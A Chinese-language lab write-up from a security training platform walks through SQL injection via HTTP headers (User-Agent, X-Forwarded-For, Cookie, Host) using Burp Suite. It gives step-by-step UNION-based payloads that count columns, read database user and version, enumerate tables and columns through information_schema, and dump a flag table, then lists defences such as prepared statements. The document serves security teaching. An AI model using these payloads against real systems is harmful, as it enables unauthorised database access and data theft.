墨者學院:SQL注入漏洞測試(HTTP頭注入)🚀
1. 什么是HTTP頭注入?🔍
HTTP頭注入是指攻擊者通過篡改HTTP請求頭部的字段(如User-Agent、Referer、Cookie、Host等),將惡意SQL代碼插入到后端數據庫查詢中。當應用程序未對頭部輸入進行嚴格過濾時,可能導致數據庫信息泄露或服務器被控制。
典型場景:
- 登錄頁面的
X-Forwarded-For
記錄IP - 用戶跟蹤的
User-Agent
記錄 - 身份驗證的
Cookie
字段 - 服務器路由使用的
Host
字段
2. 使用工具:Burpsuite🔧
Burpsuite是滲透測試中常用的攔截/修改HTTP請求的工具,測試將使用Repeater模塊,手動修改并重放請求
3. 注入流程詳解🎯
步驟1:確定字段數量?
order by 5
參數解釋:
order by N
:通過遞增N判斷查詢結果的列數,直到返回錯誤(本例中order by 5
報錯,說明列數≤4)。
步驟2:確認回顯位?
union select 1,2,3,4
參數解釋:
union select
:聯合查詢,數字1-4代表列位置,頁面顯示的數字即為可回顯數據的列(如顯示2,3,4則對應第2、3、4列可注入)。
步驟3:獲取基礎信息?
union select 1,user(),version(),database()
參數解釋:
user()
:當前數據庫用戶version()
:數據庫版本database()
:當前數據庫名稱
步驟4:枚舉表名?
union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='pentesterlab'
參數解釋:
information_schema.tables
:系統表存儲所有表信息group_concat()
:合并查詢結果(避免多行顯示)table_schema
:指定目標數據庫名
步驟5:枚舉列名?
union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='pentesterlab' and table_name='flag'
參數解釋:
information_schema.columns
:系統表存儲所有列信息table_name
:指定目標表名
步驟6:提取數據?
union select 1,2,3,group_concat(flag) from flag
參數解釋:
- 從
flag
表中提取flag
列的全部數據
4. 總結🏁
- 漏洞成因:未過濾HTTP頭部輸入,直接拼接SQL查詢。
- 防御建議:
- 使用預編譯語句(Prepared Statements)
- 對頭部參數進行嚴格白名單驗證
- 測試關鍵:
- 通過
order by
確定列數 - 利用
information_schema
逐步獲取數據庫結構
- 通過
聲明:本文僅用于安全學習,嚴禁非法測試! ???